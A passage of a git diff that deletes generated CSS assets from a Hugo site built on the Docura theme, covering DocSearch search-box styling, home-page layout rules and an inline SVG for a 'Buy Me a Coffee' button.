forwards;appearance:none;background:none;border:0;border-radius:50%;color:var(--docsearch-icon-color);cursor:pointer;padding:2px;right:0;stroke-width:var(--docsearch-icon-stroke-width)}.DocSearch-Reset[hidden]{display:none}.DocSearch-Reset:focus{outline:none}.DocSearch-Reset:hover{color:var(--docsearch-highlight-color)}.DocSearch-LoadingIndicator svg,.DocSearch-MagnifierLabel svg{height:24px;width:24px}.DocSearch-Cancel{display:none}.DocSearch-Dropdown{max-height:calc(var(--docsearch-modal-height) - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height));min-height:var(--docsearch-spacing);overflow-y:auto;overflow-y:overlay;padding:0 var(--docsearch-spacing);scrollbar-color:var(--docsearch-muted-color) var(--docsearch-modal-background);scrollbar-width:thin}.DocSearch-Dropdown::-webkit-scrollbar{width:12px}.DocSearch-Dropdown::-webkit-scrollbar-track{background:transparent}.DocSearch-Dropdown::-webkit-scrollbar-thumb{background-color:var(--docsearch-muted-color);border:3px solid var(--docsearch-modal-background);border-radius:20px}.DocSearch-Dropdown ul{list-style:none;margin:0;padding:0}.DocSearch-Label{font-size:.75em;line-height:1.6em}.DocSearch-Help,.DocSearch-Label{color:var(--docsearch-muted-color)}.DocSearch-Help{font-size:.9em;margin:0;user-select:none}.DocSearch-Title{font-size:1.2em}.DocSearch-Logo a{display:flex}.DocSearch-Logo svg{color:var(--docsearch-logo-color);margin-left:8px}.DocSearch-Hits:last-of-type{margin-bottom:24px}.DocSearch-Hits mark{background:none;color:var(--docsearch-highlight-color)}.DocSearch-HitsFooter{color:var(--docsearch-muted-color);display:flex;font-size:.85em;justify-content:center;margin-bottom:var(--docsearch-spacing);padding:var(--docsearch-spacing)}.DocSearch-HitsFooter a{border-bottom:1px solid;color:inherit}.DocSearch-Hit{border-radius:4px;display:flex;padding-bottom:4px;position:relative}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit--deleting{transition:none}}.DocSearch-Hit--deleting{opacity:0;transition:all .25s linear}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit--favoriting{transition:none}}.DocSearch-Hit--favoriting{transform:scale(0);transform-origin:top center;transition:all .25s linear;transition-delay:.25s}.DocSearch-Hit a{background:var(--docsearch-hit-background);border-radius:4px;box-shadow:var(--docsearch-hit-shadow);display:block;padding-left:var(--docsearch-spacing);width:100%}.DocSearch-Hit-source{background:var(--docsearch-modal-background);color:var(--docsearch-highlight-color);font-size:.85em;font-weight:600;line-height:32px;margin:0 -4px;padding:8px 4px 0;position:sticky;top:0;z-index:10}.DocSearch-Hit-Tree{color:var(--docsearch-muted-color);height:var(--docsearch-hit-height);opacity:.5;stroke-width:var(--docsearch-icon-stroke-width);width:24px}.DocSearch-Hit[aria-selected=true] a{background-color:var(--docsearch-highlight-color)}.DocSearch-Hit[aria-selected=true] mark{text-decoration:underline}.DocSearch-Hit-Container{align-items:center;color:var(--docsearch-hit-color);display:flex;flex-direction:row;height:var(--docsearch-hit-height);padding:0 var(--docsearch-spacing) 0 0}.DocSearch-Hit-icon{height:20px;width:20px}.DocSearch-Hit-action,.DocSearch-Hit-icon{color:var(--docsearch-muted-color);stroke-width:var(--docsearch-icon-stroke-width)}.DocSearch-Hit-action{align-items:center;display:flex;height:22px;width:22px}.DocSearch-Hit-action svg{display:block;height:18px;width:18px}.DocSearch-Hit-action+.DocSearch-Hit-action{margin-left:6px}.DocSearch-Hit-action-button{appearance:none;background:none;border:0;border-radius:50%;color:inherit;cursor:pointer;padding:2px}svg.DocSearch-Hit-Select-Icon{display:none}.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Select-Icon{display:block}.DocSearch-Hit-action-button:focus,.DocSearch-Hit-action-button:hover{background:rgba(0,0,0,0.2);transition:background-color .1s ease-in}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit-action-button:focus,.DocSearch-Hit-action-button:hover{transition:none}}.DocSearch-Hit-action-button:focus path,.DocSearch-Hit-action-button:hover path{fill:#fff}.DocSearch-Hit-content-wrapper{display:flex;flex:1 1 auto;flex-direction:column;font-weight:500;justify-content:center;line-height:1.2em;margin:0 8px;overflow-x:hidden;position:relative;text-overflow:ellipsis;white-space:nowrap;width:80%}.DocSearch-Hit-title{font-size:.9em}.DocSearch-Hit-path{color:var(--docsearch-muted-color);font-size:.75em}.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-action,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-icon,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-path,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-text,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-title,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Tree,.DocSearch-Hit[aria-selected=true] mark{color:var(--docsearch-hit-active-color) !important}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit-action-button:focus,.DocSearch-Hit-action-button:hover{background:rgba(0,0,0,0.2);transition:none}}.DocSearch-ErrorScreen,.DocSearch-NoResults,.DocSearch-StartScreen{font-size:.9em;margin:0 auto;padding:36px 0;text-align:center;width:80%}.DocSearch-Screen-Icon{color:var(--docsearch-muted-color);padding-bottom:12px}.DocSearch-NoResults-Prefill-List{display:inline-block;padding-bottom:24px;text-align:left}.DocSearch-NoResults-Prefill-List ul{display:inline-block;padding:8px 0 0}.DocSearch-NoResults-Prefill-List li{list-style-position:inside;list-style-type:"» "}.DocSearch-Prefill{appearance:none;background:none;border:0;border-radius:1em;color:var(--docsearch-highlight-color);cursor:pointer;display:inline-block;font-size:1em;font-weight:700;padding:0}.DocSearch-Prefill:focus,.DocSearch-Prefill:hover{outline:none;text-decoration:underline}.DocSearch-Footer{align-items:center;border-radius:0 0 8px 8px;box-shadow:var(--docsearch-footer-shadow);display:flex;flex-direction:row-reverse;flex-shrink:0;height:var(--docsearch-footer-height);justify-content:space-between;padding:0 var(--docsearch-spacing);position:relative;user-select:none;width:100%;z-index:300}.DocSearch-Commands{color:var(--docsearch-muted-color);display:flex;list-style:none;margin:0;padding:0}.DocSearch-Commands li{align-items:center;display:flex}.DocSearch-Commands li:not(:last-of-type){margin-right:.8em}.DocSearch-Commands-Key{align-items:center;border-radius:2px;display:flex;height:18px;justify-content:center;margin-right:.4em;padding:0 0 1px;color:var(--docsearch-muted-color);border:1px solid var(--border-color);width:20px}@media (max-width: 768px){:root{--docsearch-spacing: 10px;--docsearch-footer-height: 40px - }.DocSearch-Dropdown{height:100%}.DocSearch-Container{height:100vh;height:-webkit-fill-available;height:calc(var(--docsearch-vh, 1vh) * 100);position:absolute}.DocSearch-Footer{border-radius:0;bottom:0;position:absolute}.DocSearch-Hit-content-wrapper{display:flex;position:relative;width:80%}.DocSearch-Modal{border-radius:0;box-shadow:none;height:100vh;height:-webkit-fill-available;height:calc(var(--docsearch-vh, 1vh) * 100);margin:0;max-width:100%;width:100%}.DocSearch-Dropdown{max-height:calc(var(--docsearch-vh, 1vh) * 100 - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height))}.DocSearch-Cancel{appearance:none;background:none;border:0;color:var(--docsearch-highlight-color);cursor:pointer;display:inline-block;flex:none;font:inherit;font-size:1em;font-weight:500;margin-left:var(--docsearch-spacing);outline:none;overflow:hidden;padding:0;user-select:none;white-space:nowrap}.DocSearch-Commands,.DocSearch-Hit-Tree{display:none}}@keyframes fade-in{0%{opacity:0}to{opacity:1}} - -/*# sourceMappingURL=docsearch.css.map */ \ No newline at end of file diff --git a/resources/_gen/assets/scss/scss/component/docsearch.scss_7724f67189cff0c6ae476b070cf609b9.json b/resources/_gen/assets/scss/scss/component/docsearch.scss_7724f67189cff0c6ae476b070cf609b9.json deleted file mode 100644 index c22d96a..0000000 --- a/resources/_gen/assets/scss/scss/component/docsearch.scss_7724f67189cff0c6ae476b070cf609b9.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"scss/component/docsearch.css","MediaType":"text/css","Data":{}} \ No newline at end of file diff --git a/resources/_gen/assets/scss/scss/home.scss_7724f67189cff0c6ae476b070cf609b9.content b/resources/_gen/assets/scss/scss/home.scss_7724f67189cff0c6ae476b070cf609b9.content deleted file mode 100644 index 8de9d5c..0000000 --- a/resources/_gen/assets/scss/scss/home.scss_7724f67189cff0c6ae476b070cf609b9.content +++ /dev/null @@ -1,7 +0,0 @@ -/*! - * Docura (https://docura.github.io/) - * Copyright 2022-2023 Dumindu Madunuwan - * Licensed under the MIT License. - */*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol *)){all:unset;display:revert}*,*::before,*::after{box-sizing:border-box}html{-moz-text-size-adjust:none;-webkit-text-size-adjust:none;text-size-adjust:none}a,button{cursor:revert}ol,ul,menu{list-style:none}img{max-inline-size:100%;max-block-size:100%}table{border-collapse:collapse}input,textarea{-webkit-user-select:auto}textarea{white-space:revert}meter{-webkit-appearance:revert;appearance:revert}:where(pre){all:revert;box-sizing:border-box}::placeholder{color:unset}::marker{content:initial}:where([hidden]){display:none}:where([contenteditable]:not([contenteditable="false"])){-moz-user-modify:read-write;-webkit-user-modify:read-write;overflow-wrap:break-word;-webkit-line-break:after-white-space;-webkit-user-select:auto}:where([draggable="true"]){-webkit-user-drag:element}:where(dialog:modal){all:revert;box-sizing:border-box}pre,code{margin:0}:root{--site-header-height: 46px;--site-footer-height: 46px}@media (min-width: 1025px) and (max-width: 1280px),(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait){:root{--site-header-height: 60px;--site-footer-height: 60px}}@media (min-width: 1281px){:root{--site-header-height: 80px;--site-footer-height: 80px}}body{font-family:var(--font-family);background:var(--background);color:var(--color);display:flex;flex-direction:column;min-height:100svh}#site-header{display:grid;grid-template-columns:2fr 1fr;grid-template-rows:repeat(3, var(--site-header-height))}#site-header-menu,#site-header-search{grid-column:1 / 3}#site-footer{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:repeat(3, var(--site-footer-height))}#site-footer-copyright,#site-footer-love{grid-column:1 / 3}#site-main-content-wrapper{display:flex;flex:1}#sidebar,#toc,#article-nav,#sidebar .btn-close,#toc .btn-close{display:none}main{flex:1;display:flex;overflow:auto}#article{flex:1;width:100vw}#sidebar{width:85%;left:-85%}#toc{width:85%;right:-85%}@media (min-width: 768px) and (max-width: 1023px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:repeat(2, var(--site-header-height))}#site-header-brand{grid-column:1 / 6}#site-header-controls{grid-column:6 / 7}#site-header-menu{grid-column:1 / 5}#site-header-search{grid-column:5 / 7}#site-footer{grid-template-columns:repeat(4, 1fr);grid-template-rows:repeat(2, var(--site-footer-height))}#site-footer-copyright{grid-column:1 / 3}#site-footer-social{grid-column:3 / 4}#site-footer-fund{grid-column:4 / 5}#site-footer-love{grid-column:1 / 5}#sidebar{width:50%;left:-50%}#toc{width:50%;right:-50%}}@media (min-width: 1024px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:var(--site-header-height)}#site-header-brand{grid-column:1 / 2}#site-header-menu{grid-column:2 / 5;grid-row:1}#site-header-search{grid-column:5 / 6;grid-row:1}#site-header-controls{grid-column:6 / 7}#site-footer{grid-template-columns:repeat(5, 1fr);grid-template-rows:var(--site-footer-height)}#site-footer-copyright{grid-column:1 / 3}#site-footer-love{grid-column:3 / 4;grid-row:1}#site-footer-social{grid-column:4 / 5}#site-footer-fund{grid-column:5 / 6}#article-nav-toc-btn{display:none}}@media (min-width: 1024px) and (max-width: 1279px){#sidebar{width:33%;left:-33%}#article{width:75vw}#toc{width:25%;display:flex;flex-direction:column}#toc .sticky{position:fixed;right:0;width:25%}}@media (min-width: 1280px){#sidebar{width:20%;display:flex;flex-direction:column}#article{width:60vw}#toc{width:25%;display:flex;flex-direction:column}#sidebar .sticky{position:fixed;left:0;width:20%}#toc .sticky{position:fixed;right:0;width:20%}}@media (max-width: 1023px){#toc{position:fixed;top:0;height:100%;transition:.3s;z-index:300;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #toc,:root[data-color="night"] #toc{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-toc-on #toc{animation:slide-in-right .3s forwards;display:flex;flex-direction:column;padding-left:16px;z-index:10;cursor:default}.offcanvas-toc-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-toc-on #toc .btn-close{display:block;position:absolute;top:10px;left:10px}#article-nav-toc-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}@media (max-width: 1279px){#sidebar{position:fixed;top:0;height:100%;transition:.3s;z-index:200;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #sidebar,:root[data-color="night"] #sidebar{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-sidebar-on #sidebar{animation:slide-in-left .3s forwards;display:flex;flex-direction:column;z-index:10;cursor:default}.offcanvas-sidebar-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-sidebar-on #sidebar .btn-close{display:block;position:absolute;top:10px;right:10px}#article-nav{display:flex;gap:12px;overflow:auto;justify-content:space-between;height:var(--site-header-height);align-items:center;padding:0 2px}#article-nav-menu-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}body.offcanvas-sidebar-on,body.offcanvas-toc-on{cursor:pointer;overflow:hidden}.offcanvas-sidebar-on:before,.offcanvas-toc-on:before{background:rgba(255,255,255,0.1);backdrop-filter:blur(var(--blur));-webkit-backdrop-filter:blur(var(--blur))}@keyframes slide-in-left{from{transform:translateX(0)}to{transform:translateX(100%)}}@keyframes slide-in-right{from{transform:translateX(0)}to{transform:translateX(-100%)}}#site-header-brand{display:flex;align-items:center;font-family:var(--font-family-brand);font-size:1.4em;color:var(--color2)}#site-header-brand a{padding:12px}#site-header-menu{padding:0 12px;display:flex;align-items:center;color:var(--color3)}#site-header-menu nav{width:100%;overflow:auto}#site-header-menu ul{display:flex;height:100%;align-items:center;gap:12px}#site-header-menu a{display:flex;padding:12px 6px;gap:3px;white-space:nowrap}#site-header-menu a:focus,#site-header-menu a:hover,#site-header-menu a.active{border-bottom:3px solid}#site-header-controls{display:flex;align-items:center;padding-right:12px;justify-content:flex-end;gap:12px}#site-header-search{display:flex;align-items:flex-end}@media (min-width: 768px){#site-header-search{align-items:center}}#site-footer-social{display:flex;gap:12px;justify-content:flex-start;padding-left:12px;align-items:center}#site-footer-fund{display:flex;gap:12px;overflow:auto;justify-content:flex-end;padding-right:12px;align-items:center}#site-footer-copyright,#site-footer-love{display:flex;align-items:center;justify-content:center;color:var(--color3)}#site-footer-copyright a{display:flex;align-items:center}@media (min-width: 768px){#site-footer-copyright{justify-content:flex-start;padding-left:12px}#site-footer-social{justify-content:flex-end;padding-right:12px}}.cover{padding:40px 20px;width:100vw;flex:1;display:flex;align-items:center;justify-content:center;flex-direction:column;background:var(--home-cover-background);position:relative;color:var(--color2)}.cover::after{content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1;background:inherit;filter:blur(1rem)}.cover h1{font-family:var(--font-family-brand);font-size:4em;text-align:center}.cover h2{font-family:var(--font-family-brand);font-size:2em;text-align:center}.cover h3{font-family:var(--font-family-brand);font-size:1.5em;text-align:center;padding-top:.8em}.cover p{font-size:1em;padding-top:.8em}.github-buttons{display:flex;gap:10px;padding-top:20px;justify-content:center}.github-repos-grid{display:flex;flex-wrap:wrap;padding-top:4em;padding-bottom:2em;gap:4em;width:100%}.github-repo-tile{width:100%}.github-repo-tile .icon{width:80px;height:80px;background-size:5em}.github-repo-tile a{display:flex;flex-direction:column;align-items:center}@media (min-width: 768px){.github-repos-grid{flex-direction:row;width:80%;padding-top:4em;gap:0}.github-repo-tile{width:50%}}@media (min-width: 1024px){.github-repos-grid{width:60%;padding-top:6em}.github-repo-tile .icon{width:100px;height:100px;background-size:6.25em}}@media (min-width: 1281px){.github-repos-grid{width:50%}.github-repo-tile .icon{width:120px;height:120px;background-size:7.5em}}@media (min-width: 1920px){.github-repos-grid{width:40%}.github-repo-tile .icon{width:160px;height:160px;background-size:10em}}.btn-github{display:flex;flex-direction:row;gap:2px;font-size:.7em;font-weight:700;line-height:1.8em;color:#576060;background:#f6f8fa;border:1px solid #d5d7da;border-radius:6px;padding:2px 4px}:root[data-color="dark"] .btn-github,:root[data-color="night"] .btn-github{color:#c9d1d9;background:#21262d;border:1px solid #576060}.btn-github .icon{transform:scale(0.8)}.btn-buymeacoffee{width:86px;height:24px;background-image:url("data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 